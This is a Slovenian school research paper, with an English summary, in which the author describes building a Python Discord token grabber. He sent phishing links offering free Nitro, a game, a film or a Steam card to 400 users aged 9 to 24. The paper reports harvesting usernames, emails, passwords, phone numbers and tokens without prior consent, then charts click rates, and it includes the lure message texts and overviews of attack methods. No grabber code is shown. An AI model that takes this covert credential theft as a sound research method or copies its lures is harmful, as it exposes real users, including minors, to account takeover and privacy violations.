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POVZETEK

V zadnjem casu sem na aplikaciji Discord med zasebnimi sporocili nasel kaksno, ki je
promovirala neko brezpla¢no storitev ali izdelek.

Namen moje raziskovalne naloge je bil napisati program za pridobivanje podatkov in
preveriti, katere vsebine so med uporabniki najbolj priljubljene.

Uporabil sem dve razli¢ni metodi: najprej sem izdelal program, nato pa sem izvedel Se
raziskavo in poslal povezave 400 uporabnikom. Program sem izdelal v programskem jeziku
Python, in sicer tako, da uporabnik ob kliku na povezavo preda klju¢, preko katerega
program prevzame osebne podatke in doda v Excelovo tabelo. Drugo metodo pa sem izvedel
s 400 uporabniki, ki sem jih razdelil v stiri skupine, od katerih je vsaka dobila svoje sporocilo
z vsebino. Preizkusna doba je trajala 15 dni.

Izmed 400 uporabnikov jih je povezavo uporabilo priblizno 40 %, od tega jih je bilo najvec
iz Skupine 2. Ta skupina je dobila povezavo, ki je promovirala brezplacno videoigro.
Najmanj uporabnikov se je zanimalo za Skupino 3, ki je ponujala brezplacen ogled filma.
Tretji dan sem pri vseh skupinah dobil najve¢ podatkov.

Izmed stirih skupin se uporabniki najbolj zanimajo za brezplacno videoigro. Vsem, ki dobijo
povezavo ali datoteko, predlagam, naj je ne prenasajo, saj je lahko skodljiva.

KLJUCNE BESEDE: Discord, osebni podatki in $kodljive povezave.

SUMMARY

Lately, while checking my private messages on Discord app, I have found some messages
that promoted a free service or product.

The purpose of my research assignment was to write a data acquisition programme and to
check which contents are the most popular among users.

I used two different methods: first, I created the programme, then I did some research and
sent links to 400 users. I created the programme in the Python programming language, so
that when a user clicks on the link, he or she hands over the key through which the
programme downloads his or her personal data and adds them to an Excel chart. I carried
out the second method with 400 users who were divided into four groups. Each group got a
message with a different content. The trial period lasted 15 days.

Among all the 400 users, approximately 40 % clicked on the link. Most of them were from
group 2 which received the link promoting a free video game. The least users were from
group 3 which offered them to watch a film for free. The third day of the trial was the one
when I got most of the data from all the groups.

Among the four groups, the users were the most interested in the free video game. I advise
to everyone who receives a link or a file not to download it because it can be harmful.

KEY WORDS: Discord, personal data and harmful links.



1 UVOD

1.1 Zakaj raziskovalna naloga

Za raziskovalno nalogo sem se odlocil, ker sem Zelel razsiriti razgledanost ljudi o nasi
ranljivosti pri klikanju povezav in prenosu podatkov. Zlonamerni uporabniki se mi zdijo
velika tezava, ki jo uporabniki racunalnikov preveckrat podcenjujemo. O raziskovalni nalogi
takSne vrste sem razmis$ljal Ze dlje Casa, a so me letos Se posebej motivirala sporocila
(podobna tem, ki sem jih uporabil sam), ki sem jih dobival od uporabnikov in prijateljev,
katerih uporabniski podatki so Ze bili ukradeni. Zato sem se odloCil, da sam napiSem
program, s katerim bi lahko pridobil vse potrebne podatke za prevzem uporabniskega racuna
nakljucne osebe. Z nalogo sem zelel pokazati dve dejstvi: kako lahko je izdelati program za
krajo podatkov ter koliko ljudi Se vedno uporablja sumljive oziroma skodljive povezave.

1.2 Namen
Namen moje raziskovalne naloge je ugotoviti, ali lahko sam naredim program, s katerim bi
lahko pridobil uporabnisko ime uporabnikov. Zanimalo me je tudi, na katero od ponujenih

Stirih vsebin bodo uporabniki najveckrat kliknili.

1.3 Cilj raziskave
Pri raziskovalni nalogi sem si zadal dva cilja:
1. Sestaviti program, s katerim bom lahko pridobil uporabnisko ime uporabnika, ¢e bo

le-ta kliknil na pripeto povezavo.

2. Raziskati, katera vsebina bo najbolj zanimala uporabnike Discord-a.

1.4 Hipoteze
Hipoteze, ki sem jih preverjal, so bile:

1. S programom, ki ga bom napisal sam, je mogoce pridobiti uporabnisko ime
uporabnika.

2. Izmed vseh ponujenih vsebin bo najvec ljudi kliknilo na povezavo do brezplacne
naroc¢nine na Discord.

3. Program lahko razvijem sam.



2 PREGLED OBJAV
2.1 Vrste podatkov

Tako imenovane baze podatkov so v resnici le nekak$ne shrambe, ki lahko hranijo milijone
terabajtov podatkov. Imajo tri glavne naloge: hranjenje podatkov, hranjenje podatkov za
izvajanje poslovnih operacij, zagotavljanje podatkov za upravljanje in zagotavljanje
podatkov iz okolja organizacije. Baza podatkov je osnovni vir organizacije in ¢e le-ta hoce
biti uspes$na, mora biti baza oblikovana tako, da:

* omogoca hiter dostop do podatkov,

* vsebuje tocne podatke brez preobilja podatkov oziroma brez odve¢nih podvajanj,

* omogoca ucinkovito delo,

* je prilagodljiva,

* zagotavlja varnost.

Podatke delimo v ve¢ vrst: veliki podatki (drzijo veliko informacij in so ve¢inoma shranjeni
v posebnih »data bazah«), asovno oznaceni podatki (ob informaciji podatka ima pomembno
vlogo Cas izdaje podatka, pridobitve podatka ...), strojni podatki (izdajajo jih najrazli¢nejse
naprave in vsebujejo podatke o njihovem dejanju), prostorsko temporalni podatki (povejo
nam ¢as in kraj neke informacije oziroma dogodka), odprti podatki (so na voljo na spletu in
namenjeni prosti uporabi), temni podatki (so najveckrat spremenjeni v korist podjetja ali
posameznika in so nezakoniti) ter osebni podatki (najveckrat uporabniska imena, imena,
naslovi, elektronski naslov, gesla )
(https://www.forbes.com/sites/adrianbridgwater/2018/07/05/the-13-types-of-data/, 2. 2.
2022).

2.2 Kako pridobiti podatke

Podatki v internetni obliki nas v danasnjem casu obkrozajo ves Cas. Te podatke je treba
prenasati iz enega vira do drugega vira oziroma od uporabnika do uporabnika in ravno ti
prenosi so tar¢e zlonamernih poznavalcev omrezij in baz, ki lahko dandanes do nasih
podatkov pridejo na najrazli¢nejse nacine.

Preden pa razumemo, kako »napadalci« pridejo do nasih podatkov, moramo razumeti, kako
so shranjeni. Hranijo jih v bazah, katerih pomen sem razlozil v prejSnjem odstavku. Ko se je
elektronsko hranjenje podatkov prvi¢ pojavilo, so lahko napadalci do njih prisli z lahkoto,
kar pa dandanes ni ve¢ mogoce zaradi mocne zasCite in varovanja osebnih in poslovnih
podatkov. Sistemi za upravljanje baz podatkov so zelo sofisticirani programi, ki so rezultat
vecdesetletnih raziskav in razvoja. Tako ti programi uporabljajo lastne varnostne zascite za
dostop do podatkov, ki jih hranijo. Kot taki so imuni na mnogo napadov, imajo pa tudi
slabosti, saj zaradi zapletene kode napadalci najdejo bliznjice skozi spletne strani, ki pa niso
tako moc¢no varovane.

Tako smo prisli do prvega nafina vdorov — preko spletne strani. TakSni vdori so
najpogostejsi in hkrati najbolj napredni izmed vseh ostalih, saj se program skozi spletni
vmesnik s pomocjo t.i. SQL vbrizga prebije skozi varnostne sisteme in dostopa do omejene
koli¢ine podatkov, ki po navadi ne vsebujejo pomembnih gesel in drugih poslovnih
skrivnosti.



Drugi nacin, ki ga bom predstavil, je dosti bolj preprost, in sicer s pomocjo USB-kljucka
oziroma hranilnika podatkov. TakSen nacin v osnovi ni namenjen vecji kraji podatkov, saj
lahko naenkrat napade le en racunalnik, deluje pa nekako tako: napadalec kupi ali sam zgradi
prilagojen USB-kljucek, ki samodejno zacne program, po tem ko je priklopljen v racunalnik.
Ko zgradi oziroma kupi klju¢ek, mora nanj napadalec namestiti program za vdiranje
(preprostejS$i so na voljo na ilegalnih straneh, naprednejSe pa je potrebno samostojno
napisati). Poznamo dve vrsti le-teh: prvi program je namenjen vdiranju v racunalnik, drugi
pa le vnese virus, ko je raCunalnik Ze odklenjen. Ko je kljucek pripravljen, ga je potrebno
vkljuciti v racunalnik, on pa samodejno izklopi zas¢ito proti virusom, kopira vse podatke in
nato onesposobi rac¢unalnik za nadaljnje delovanje. Ta dva nacina sta se mi zdela najbolj
zanimiva in sem ju zato podrobno predstavil, poznamo pa Se ve¢ nacinov pridobivanja
podatkov: z »minanjem, kjer program tako dolgo ugiba gesla, da se prebije skozi zas¢ito, s
tako imenovanim samodejnim virusom, ki ga aktiviramo sami s pritiskanjem na Skodljive
povezave in datoteke (ta nacin sem uporabil sam), in pa z »redline stealarom, ki je skrajno
zapleten sistem vecjih programov, a hkrati naju¢inkovitejsi nacin za pridobivanje podatkov.
Poudaril bi, da so takSni nacini pridobivanja podatkov nezakoniti in da sem sam po
opravljeni nalogi in meritvah vse sodelujoce uporabnike obvestil o namenu pridobivanja
njihovih podatkov (https://www.zscaler.com/blogs/security-research/discord-cdn-popular-
choice-hosting-malicious-payloads, 10. 2. 2022).

2.3 Discord

Moje raziskovanje se v celoti vrti okoli Discorda, zato bom v nadaljevanju predstavil le-tega.
Discord je aplikacija za sporocanje in digitalno izmenjavo podatkov. Discord je predvsem
poznan med mladostniki in predstavlja eno izmed glavnih socialnih omreZzij za pogovor med
igranjem iger. Discord se je na trgu pojavil leta 2015 in hitro pridobil veliko Stevilo
uporabnikov. Predvsem je znan po svoji nemotec¢i izku$nji med igranjem, saj za svoje
delovanje ne potrebuje velike moci in boljSih komponent ter programov racunalnika. Kot je
bilo ze prej omenjeno, se je sprva razsiril med igralci videoiger, a je sedaj enakovreden
ostalim vec¢jim druzabnim omrezjem, od katerih se razlikuje predvsem po tem, da ni
namenjen objavljanju slik. Namenjen je predvsem sestavljanju razlicnih omrezij, kjer se
ljudje pogovarjajo in se druzijo. Znan je po preprosti uporabi, ki uporabniku omogoca, da
sam ustvari »serverje« (zasebna omreZzja, kjer se lahko uporabniki pogovarjajo, si pisejo,
posiljajo datoteke ... in vse to lahko storijo z nekaj kliki, svoja omrezja pa lahko v
nadaljevanju razdelijo na posamezne kategorije, namenjene specifi¢nim temam), ki imajo
neskon¢no veliko moznosti prilagajanja. Sedaj, ko je podjetje zraslo, ponuja tudi placljive
storitve, med katere sodita:
* »Discord nitro« (ki nam omogoca animirano profilno fotografijo, zaslonsko sliko, vec¢ja
sporocila in mnogo vec);
* »boostanje serverjev« (bistvo boostanja serverjev je pomagati le-tem. Zaradi
preglednosti in moznost vecjega zasluzka so to storitev razdelili na tri nivoje:
a) Prvi omogoca vec lastnih nalepk, vecja sporocila, boljso kvaliteto pri prenosu v
zivo ter boljso kvaliteto zvoka.
b) Drugi in tretji nivo ponujata enako kot prvi, le da Ze prej navedenim izboljSavam
dvignejo kakovost). V poprecju Discord boost stane okoli 5 € na mesec.
Zaradi preproste uporabe in brezpla¢ne storitve Discorda se vedno ve¢ podjetij odlo¢a in
svoje oglasevanje prenasa na aplikacijo. Sedaj, ko sta podjetje in aplikacija ze bolj



prepoznavna, so dodali zasc¢ito pred internetnimi napadi, ki lahko unicijo omrezja zaradi
prevelike obremenitve (DDOS-I). Lahko ga uporabljamo na racunalniku, prenosniku in
telefonu, prav tako ima razli¢ne zascCite pred “vdiranjem v sisteme” brez nase vednosti. Kar
pomeni le, da smo varni v primeru, ko ne klikamo na razli¢ne povezave in se ne prijavljamo
v nepoznane spletne strani (https://geeksadvice.com/remove-nitrohack-malware/, 24. 1.
2022, Discord https://discord.com/, 20. 12. 2020).

2.3.1 Delovanje Discorda

Kot v vsako drugo spletno oz. druzabno omrezje se moramo prijaviti tudi v Discord. Ob
registraciji vnesemo uporabnisko ime, geslo in e-naslov, ki pa ga mora Discord nekako
shraniti. Na zacetku, ob izdaji aplikacije, ko je bilo podjetje Se manjse, v lasti niso imeli tako
velikih streznikov, kot jih imajo sedaj, zato so se odlocili, da za shranjevanje podatkov
uporabijo metodo token oziroma klju¢. Token-i so, ¢e poenostavimo, zaporedje ¢rk in
Stevilk, ki so popolnoma nakljucne in se pripiSejo uporabniku, ko se le-ta registrira. Ti token-
i so shranjeni na Discord-ovih streznikih in nam povejo skoraj vse o uporabniku: geslo,
uporabniSko ime, e-postni naslov, a je z razlicnimi vdori do njih skoraj nemogoce priti, ker
pa ima vsak uporabnik dostop do svojega token-a, lahko token pridobimo direktno od
uporabnikov (https://www.purevpn.com/blog/discord-virus/, 28. 1. 2022).

2.3.2 Kako se Disocrd “okuzi”

Discord se lahko okuZi na ve¢ razli¢nih nacinov: s $kodljivim programom, ki okuzi napravo,
s programom, ki pride do streznika tar¢e s pomocjo obhajanja dolocenih obrambnih sistemov
(Slika 1). Drugi nacin je s tako imenovanim minanjem ($kodljivec ro¢no pride do doloc¢enih
podatkov) ali pa z na¢inom, ki ga uporabljam sam, in sicer s »token grabberji« (program s
klikom na povezavo pridobi zaporedje Stevil, ki jih pretvori v podatke). Ker pa je token
potrebno dati uporabniku, uporabljam Se metodo, ki jo imenujemo trojanski konj
(uporabniku posljemo datoteko, za katero misli, da je nekaj drugega, kot v resnici je), s
pomocjo katerega bo uporabnik aktiviral »grabber« oziroma program.

V nadaljevanju bom predstavil nacin, ki sem ga uporabljal sam, in sicer »token grabber« s
pomocjo metode trojanskega konja. Prevara na nacin trojanskega konja je zelo razsirjena
metoda in Ce je prav uporabljena, tudi zelo napredna. Za namen raziskovalne naloge sem
poslal datoteko s programom, za katerega uporabnik ne ve (zato sem ta nacin opredelil kot
metodo trojanski konj), kot prikazuje spodnja skica. Ker pa je dandanes obvescenost ljudi o
prevarah moc¢no razsirjena, sem datoteko spremenil v internetno povezavo, saj se po mojem
mnenju ljudje ne zavedajo, kako nevarne so lahko. Povezava je zasnovana tako, da
uporabnik s klikom na povezavo napadalcu oziroma v tem primeru meni, omogoc¢i dostop
do svojega uporabnisSkega racuna in s tem do tokena oziroma zapisanega zaporedja Stevilk
in ¢rk, ki ga skripta v spletni aplikaciji samodejno pretvori v podatke, ki sem jih zelel
pridobiti (https:/nordvpn.com/th/blog/discord-malware/, 28. 1. 2022,
https://www.purevpn.com/blog/discord-virus/, 28. 1. 2022,
https://www.zscaler.com/blogs/security-research/discord-cdn-popular-choice-hosting-
malicious-payloads, 10. 2. 2022).
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Slika 1: Prikaz, kako skodljiva datoteka pride do uporabnika.

2.3.3 Vrste deljenja okuZene datoteke

V prejsnjih poglavjih sem predstavil ve¢ nacinov pridobivanja podatkov z Discord-om.
Sedaj pa se bom osredotocil na metodo z okuzeno datoteko, ki jo prikazuje zgornja slika.
Okuzene datoteke oz. povezave delimo na dve skupini: prenosljive in neprenosljive.
Neprenosljive napadalec poslje vecji skupini ljudi, ki v primeru klika na povezavo ali
datoteko izdajo svoje podatke. Prenosljive pa so nekoliko bolj zapletene, saj jih ponovno
delimo v dve skupini: prenosljive in avtomatsko prenosljive. Prenosljive (v primeru
internetne povezave) lahko uporabnik kopira in jih poslje naprej ostalim uporabnikom in
program za pridobitev podatkov bo Se vedno deloval. Pri avtomatsko prenosljivem, ki je
izmed vseh najbolj zapleten, pa se uporabnik na skodljivi povezavi prijavi v lazno stran in s
tem omogoc¢i ves nadzor nad svojim uporabniskim racunom napadalcu. Ko napadalec dobi
dostop do racuna s pomocjo skripte (preprost program za avtomatizacija preprostih del),
vsem prijateljem, ki jih ima uporabnik dodane in je z njimi v stiku, poslje sporocila, ki
izgledajo nekako kot Slika 2 pod tem besedilom (taksna sporocila poslje tudi v vse skupine
oziroma serverje, del katerih je uporabnik). Zadnja metoda je najzahtevnejSa, a doseZe
najve¢ ljudi v najkrajSem casu in se je zaradi tega v tem cCasu mocno razsirila
(https://www.quora.com/Can-someone-hack-into-our-phones-even-if-we-share-media-
with-them, 31. 1. 2022).




User name
his is the beginning of your direct message history with @User name.

Block Report Spam

o User name ¥ 80T
@54V4G3, Christmas is almost here! To celebrate we are doing a limited time Christmas Free Boosts event! 4%

Christmas Event > 4

ST
ve been gifted x14 Server Boosts ‘

Slika 2: Promocija lazne akcije ob bozi¢u

2.3.4 Preventiva

Glavna zascita pred vsemi sovraznimi vsebinami, ne le na Discordu, ampak velja na splosno,
je, da na spletu ne klikamo na povezave, ki jih ne poznamo. Pri zas€iti nam pomagajo Se
razlicni antivirusni programi, ki lahko pregledajo nas racunalnik, ampak ne zagotavljajo 100
% zascite. Seveda se Discord kot podjetje zaveda, da so vdori hud problem, zato imajo svoj
sistem za preprecevanje le-teh. Ker pa zaSCita ni samodejna, jo moramo vklopiti v
nastavitvah. Pri zasCiti svojih uporabnikov so se lastniki podjetja zelo potrudili, saj lahko
izbiramo med tremi nivoji zascite (Slika 3):

o »Keep me safe, ki pregleda sporocila vseh uporabnikov,

e »My friends are nice«, ki pregleda vsa sporocila, razen tistih, ki pridejo od ljudi, ki

jih oznacimo kot prijatelje in

»Do not scan« — Discord ne pregleda nobenih sporocil.

Privacy & Safety

SAFE DIRECT MESSAGING

Automatically scan an

@ Keep me safe

Scan direct messages from everyone.

O My friends are nice

O Do not scan

rect messages w

Slika 3: Varnostne moznosti, ki jih ponuja Discord svojim uporabnikom.
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Poleg teh opcij lahko vklopimo dodatne za§¢ite, kot so: preprecitev vseh NSFW sporo¢il
(oznaka NSFW pomeni »not safe for work« in oznacuje sporocila, ki vsebujejo pornografijo
ali graficne prizore, ki bi lahko bili neprimerni za dolocene uporabnike) in druge.

Ker pa se v¢asih zgodi, da na povezavo kliknemo po pomoti, lahko preverimo, ali je bila le-
ta Skodljiva, in sicer tako, da v iskalcu datotek napiSemo naslednji ukaz (Slika 4):
%AppData%Discord[version]modulesdiscord desktop coreindex.js, kar nas pripelje do
strani, na kateri naj ne bi bilo ni¢, saj je to mapa za nezazelene oziroma tiste datoteke, ki se
Discordu zdijo sumljive. Ko datoteke najdemo, jih izbriSemo, saj s tem prepre¢imo krajo
podatkov, ampak Ze storjene Skode ne moremo prepreciti. Zavedati se moramo, da se
nekaterih napadov ne moremo »ubraniti«, saj lahko slabo namerni uporabniki dostopajo do
nasSih podatkov tudi, ¢e jim mi pri tem ne pripomoremo. Pred nedavnim je Discord v zascito
svojim uporabnikom dodal moznost blokiranja uporabnika in moZnost prijave napadalca
(https:/mordvpn.com/th/blog/discord-malware/, 28. 1. 2022,
https://geeksadvice.com/remove-nitrohack-malware/, 24. 1. 2022,
https://discord.com/safety/360044104071-Tips-against-spam-and-hacking, 21. 12. 2020).

Type the name of a program, folder, document, or Internet
resource, and Windows will open it for you.

[

Open: eDiscord[version)modulesdiscord_desktop_coreindex.js v

OK Cancel Browse...

Slika 4: Mapa, v kateri Discord hrani nezazelene datoteke.
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3. METODE
3.1 Program

Program sem napisal v programskem jeziku Phyton (Priloga 1), saj mi je bil Ze poznan.
Opravil sem tudi krajsi tecaj, na katerem sem ponovil osnove programiranja, nato pa sem se
lotil izdelave programa. Program je v polni obliki placljiv, zaradi tega sem uporabil verzijo,
ki je dostopna na njihovi spletni strani in jo vnesel v Visual studio code. Pri sestavi osnove
programa sem si pomagal z Youtube tecaji, ki sicer prikazujejo izdelovanje programa, ki
uporabniku s pomocjo ukazov pomaga pri doloc¢enih nalogah (Discord bot). Sprva nisem
imel tezav, vendar so se le-te zaCele pojavljati, ko je Discord posodobil svojo osnovno kodo,
zaradi Cesar se koda posledicno ni prikazovala v brskalniku. Problem sem hitro odpravil in
nadaljeval z delom. Po predlogu mentorja sem poleg programa izdelal tudi enostavnejsi
program za avtomatizacijo doloc¢enih preprostejsih nalog (skripta). Skripto sem uporabil
tako, da je podatke, ki sem jih dobil pretvorjene iz uporabnikovega tokena, samodejno
razvrstila v Excelov format po dolocenih kategorijah. Ker sem izdelal skripto, je bilo
razvrS¢anje podatkov mnogo lazje in je vzelo manj casa, kot bi ga sicer
(https://www.youtube.com/watch?v=XKHEtdghLK8&t=1s, 14. 12. 2020,
https://www.python.org/, 21. 12. 2020,

https://code.visualstudio.com/, 22.12.2020,

Krebelj, 2013, str. 25-29, 51-53).

3.2 Uporabniki

Uporabnike sem naSel s pomocjo prijateljev, ki sta posredovala mojo povezavo in s tem
razsSirila koli¢ino uporabnikov. Ker sem si zamislil §tiri kategorije oziroma vsebine, na katere
lahko uporabniki kliknejo, sem se odlocil, da naklju¢no izberem 400 uporabnikov in jih
razdelim v s§tiri skupine po 100. Skupine sem oznacil od Skupine 1 do Skupine 4 in vsaki
dodelil povezavo, ki sem jo povezal z vsebino besedila. Sporocilo je vsebovalo kratko
besedilo, v katerem je bilo navedeno, kaj povezava ponuja, sledila je sama povezava, spodaj
pa je bila slika, ki naj bi vzbudila uporabnike h kliku na povezavo.

Skupina 1 je dobila sporocilo (Slika 5), ki je promoviralo brezpla¢no premium naro¢nino na
aplikacijo Discord (s to naro¢nino dobimo animirano profilno fotografijo, moznost
posiljanja vecjih datotek ...).

Slika 5: Izgled sporocila, ki ga je dobila Skupina 1.
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Skupina 2 je dobila sporocilo (Slika 6), ki je promoviralo placljivo racunalnisko igro (Grand
theft auto:5, ki v trenutku pisanja v povprecju stane okoli 30 €).

54v4G3
@everyone Click this lin

LA o
Slika 6: Izgled sporocila, ki ga je dobila Skupina 2.

Skupina 3 je dobila sporocilo (Slika 7), v katerem sem promoviral moznost brezplacnega
ogleda sicer placljivega filma.

S4V4G3
@everyone Click this link to watch: Spiderman: No way home

Slika 7: Izgled sporocila, ki ga je dobila Skupina 3.

Skupina 4 je prejela sporocilo (Slika 8), v katerem sem promoviral brezplacnih 5 € na
aplikaciji Steam (eden izmed glavnih prodajalcev videoiger).

S4V4G3
@everyone Click this link for 5 euro steam card

VSTEAM

Slika 8: Izgled sporocila, ki ga je dobila Skupina 4.

Starost prejemnikov sporocil je med 9 in 24 let in so predvsem moskega spola. Uporabniki
so razli¢nih drzavljanstev, zato so vsa zgornja sporoc€ila v angles¢ini. Vsi so prejeli krajSe
sporocilo in na koncu povezavo ter sliko, ki je povezana z besedilom. Pri posiljanju vsebin
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sem se izognil bliznjim prijateljem, saj bi lahko dejstvo, da vedo za raziskovalno nalogo,
unicilo kredibilnost podatkov. Povezava je bila aktivna dva tedna in en dan od cetrtka, 28.
1. 2022, do petka, 11. 2. 2022. Uporabniku se ob kliku na povezavo ne zgodi ni¢. Po
koncanem testnem obdobju sem vsem sodelujocim poslal obvestilo, da so sodelovali v
raziskovalni nalogi.

4. REZULTAT

Po zakljuc¢ku 14-dnevne testne dobe sem v Excelu izdelal Sest grafov. Prvi graf prikazuje,
koliko uporabnikov je po datumih kliknilo na povezavo na kateri datum, graf pa ni vezan na
skupine. Z Graf 1 je jasno razvidno, da je bilo prvi in drugi dan preizkusne dobe minimalno
uporabnikov (natanko eden vsak dan), ki so uporabili oziroma kliknili na povezavo. V
tretjem dnevu se je zgodil izjemen porast v klikih na povezavo, saj se je Stevilo le-teh
povecalo kar za 46. Tretji dan sem, kot je razvidno na grafu, zabelezil najvec pridobljenih
podatkov, in sicer 47. Po datumu 30. 1. 2022 je Stevilo pridobljenih podatkov strmo padalo,
na Cetrti dan, 31. 1. 2022, je bilo Stevilo klikov na povezavo 28, peti dan, 1. 2. 2022, pa 24.
Od dneva 2. 2. 2022 do 11. 2. 2022 so podatki pocasi padali z devetih klikov na enega.
Izjeme so bili dnevi 3. 2. 2022, 5. 2. 2022 in 8. 2. 2022, ko je bila povezava uporabljena
veckrat.

Vsi uporabniki
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Graf 1: Stevilo uporabnikov, ki so kliknili na povezavo na posamezni dan.

Drugi graf prikazuje koli¢ino podatkov uporabnikov, ki sem jih dobil na posamezni dan iz
povezave Skupine 1. Z Graf 2 razberemo, da je na prvi dan, 28. 1. 2022, na povezavo kliknila
ena oseba (prvi dan je povezavo uporabila le oseba prve skupine, kar je razvidno z grafa 1),
drugi dan, 29. 1. 2022, pa nobena. Tretji dan, 30. 1. 2022, je kot pri Graf 1 porast Stevila
klikov na povezavo zelo velik, saj je povezavo uporabilo natanko 15 uporabnikov, ki
predstavljajo priblizno 32 % vseh uporabljenih povezav tistega dne. Koli¢ina prejetih
podatkov je med tretjim in Sestim dnevom padla s 15 uporabnikov na dva uporabnika na dan.
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Za tem sledijo trije dnevi, kjer po osmem dnevu Stevilo dobljenih podatkov ponovno naraste,
takoj za tem pa dva dneva, kjer povezave ni uporabil nobeden od uporabnikov Skupine 1 (ta
dva dni je bila koli¢ina prejetih podatkov majhna, kar lahko razberemo z Graf 1). Sledita Se
dva dni, ko sta povezavo uporabila dva uporabnika, en dan brez uporabe, zadnji dan je
povezavo uporabil en uporabnik. Deseti dan nisem prejel nobenih podatkov, v naslednjih
dveh dneh pa Stevilo uporabnikov najprej zraste na dva, potem Se na pet. Skupno je povezavo
uporabilo 43 uporabnikov.

Uporabniki Skupine 1
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Graf 2: Stevilo uporabnikov, ki so na posamezni dan uporabili povezavo Skupine 1.

Graf 3 prikazuje koli¢ino podatkov uporabnikov, ki sem jih dobil na posamezni dan iz
povezave Skupine 2. Za razliko od Skupine 1 prvi dan preizkusne dobe povezave Skupine 2
ni uporabil nih¢e, drugi dan pa ena oseba. Tretji dan je povezavo uporabilo 15 ljudi, kar se
ujema s Stevilom klikov na povezavo prve skupine. V sledecih treh dneh Stevilo najprej pade
s 15 na devet in nato z devet na osem ter na koncu $e na pet (za razliko od Graf 2 lahko pri
Graf 3 vidimo, da se Stevilo uporabnikov, katerih podatke sem dobil, zmanjSuje dosti
pocasneje kot pri Skupini 1). Dne 3. 2. 2022 stevilo uporabnikov ostane pet, nato pa pade na
dva naslednji dan, deveti dan pa se ponovno dvigne na §tiri uporabnike. Trinajsti in petnajsti
dan prav tako nisem prejel nobenih podatkov, Stirinajsti dan pa je povezavo uporabil en
uporabnik.

Skupno je povezavo uporabilo 55 uporabnikov.
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Uporabniki Skupine 2
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Graf 3: Stevilo uporabnikov, ki so na posamezni dan uporabili povezavo Skupine 2.

Z Graf 4, ki prikazuje dejavnost povezave Skupine 3, lahko takoj razberemo, da sem iz te
skupine dobil najmanj podatkov uporabnikov oziroma je najmanj uporabnikov kliknilo na
povezavo. Povezavo je uporabilo 24 uporabnikov, od tega jih je bilo tretji dan osem, kar
pomeni tretjino vseh. Za razliko od ostalih skupin pri tej Stevilo prejetih podatkov ne pada
enakomerno, ampak s tretjega dne, 30. 1. 2022, na Cetrti dan pade za Sest uporabnikov, peti
dan pa je povezavo uporabilo pet uporabnikov. Sesti dan §tevilo ponovno moéno pade na
enega uporabnika, a do sedmega dne ponovno narasc¢a za enega uporabnika ter ponovno
doseze tri uporabnike na dan. Med dnevi 28. 1. 2022 in 29. 1. 2022 ter 6. 2. 2022 in 11. 2.
2022 noben uporabnik ni uporabil povezave.
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Uporabniki Skupine 3
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Graf 4: Stevilo uporabnikov, ki so na posamezni dan uporabili povezavo Skupine 3.

Ze ob prvem pogledu na Graf 5, ki prikazuje dejavnost povezave Skupine 4, lahko opazimo,
da je popolnoma drugacen od ostalih. V prvih dveh dneh ni nihée iz Skupine 4 kliknil na
povezavo, a sem v tretjem in Cetrtem dnevu, 30. 1. 2022 in 31. 1. 2022, zabelezil devet klikov
na povezavo. Peti in Sesti dan koli¢ina prejetih podatkov enakomerno pade za osem, najprej
na pet potem Se na enega. Sedmi dan se je Stevilo ponovno dvignilo do treh uporabnikov, a
se je v sledec¢ih dveh dneh spustilo do enega uporabnika na dan. 6. 2. 2022 sem ponovno
prejel tri povezave, v slede¢ih oziroma zadnjih stirih dneh pa nisem dobil podatkov nobenega
uporabnika z izjemo dni 8. 2. 2022 in 10. 2. 2022, ko je povezavo uporabil en uporabnik. Pri
tem grafu enakomernega padca ne moremo opaziti, saj se Stevilo neenakomerno dviga in
spusca z izjemo Cetrtega, petega in Sestega dneva. Skupno je povezavo Skupine 4 uporabilo
35 uporabnikov, od tega priblizno 51 % v prvih §tirih dneh.
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Uporabniki Skupine 4
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Graf 5: Stevilo uporabnikov, ki so na posamezni dan uporabili povezavo Skupine 4.

Pri Graf 6 vidimo primerjavo Stevila uporabnikov, ki so kliknili na povezavo posamezne
skupine, in razporeditev le-teh po datumih. V prvih dveh dneh je bila aktivnost povezave
zelo majhna, kar je razvidno z vseh zgornjih grafov, saj je prvi dan povezavo uporabil le
uporabnik Skupine 1, drugi dan pa jo je uporabil uporabnik Skupine 2. Tretji dan je bila
aktivnost vseh skupin najvecja, razen Skupine 4, ki je tretji in Cetrti dan imela enako Stevilo
klikov na povezavo. S tretjega na Cetrti dan je Stevilo uporabnikov padlo za skoraj polovico,
kar lahko opazimo pri Skupinah 1 in 2, peti dan pa je bil padec Stevila klikov na povezavo
pri vecini skupin manjsi in je znaSal nekje med $tiri in ena, izjema je Skupina 3, ki je
pridobila e tri dodatne uporabnike. Sesti dan se je Stevilo klikov ponovno zmanjsalo
(najmanj pri Skupini 2), v dneh 2. 2. 2022 do 5. 2. 2022 pa vecjih sprememb, razen pri
posameznih skupinah, ni bilo opaziti — od tega dne nisem prejel nobenih podatkov Skupine
3. Deseti dan, 6. 2. 2022, so povezavo uporabili le trije uporabniki Skupine 4, sledec¢i dan pa
le dva uporabnika Skupine 2. Na dan 8. 2. 2022 Stevilo ponovno rahlo naraste predvsem pri
Skupini 2, a naslednji dan Stevilo klikov ponovno upade, saj sta na povezavo kliknila le dva
uporabnika. Predzadnji dan sta povezavo uporabila dva uporabnika, eden iz Skupine 2 in
eden iz Skupine 4, zadnji dan pa sem prejel podatke uporabnika Skupine 1.
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Vsi uporabniki razdeljeni po skupinah
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Graf 6: Stevilo klikov na povezavo posameznih skupin in razporeditev le-teh po datumih

19




5. RAZPRAVA IN POTRDITEYV HIPOTEZ

Ugotovil sem, da je mozno s programom, narejenim doma, brez vecletnih izkuSenj v
programiranju pridobiti podatke uporabnikov. S programom, kot je moj, lahko od
uporabnika pridobimo: njegovo uporabnisko ime, e-naslov, geslo, zaporedje Stirih Stevilk, s
katerimi lahko dodamo osebo npr. #1234 (Discord tag), telefonsko Stevilko, Ce jo je vnesel,
in njegov token, kar je zelo zaskrbljujo¢e. Menim, da lahko mojo prej$njo trditev podkrepim
z naslednjim izrekom, na katerega sem med delom na svoji raziskovalni nalogi veckrat
naletel »Technology evolves faster than safety standards«, kar v prevodu pomeni:
Tehnologija se razvija hitreje kot varnostni standardi oziroma varnost. Mislim, da bodo
morali na Discord-u oziroma na katerem koli socialnem omrezju mo¢no dvigniti nivo
varnosti, ki ga ponujajo, ¢e bodo zeleli prepreciti vdore ter krajo podatkov. To pa lahko
predstavlja velik problem, saj takoj, ko Discord izda varnostno posodobitev, ljudje zacnejo
iskati napake v posodobitvi in se na razli¢nih straneh borijo, kdo bo prej vdrl v sistem
(anglesko to imenujemo »bug hunt«). Menim, da je ravno to razlog, da lahko nekdo, kot sem
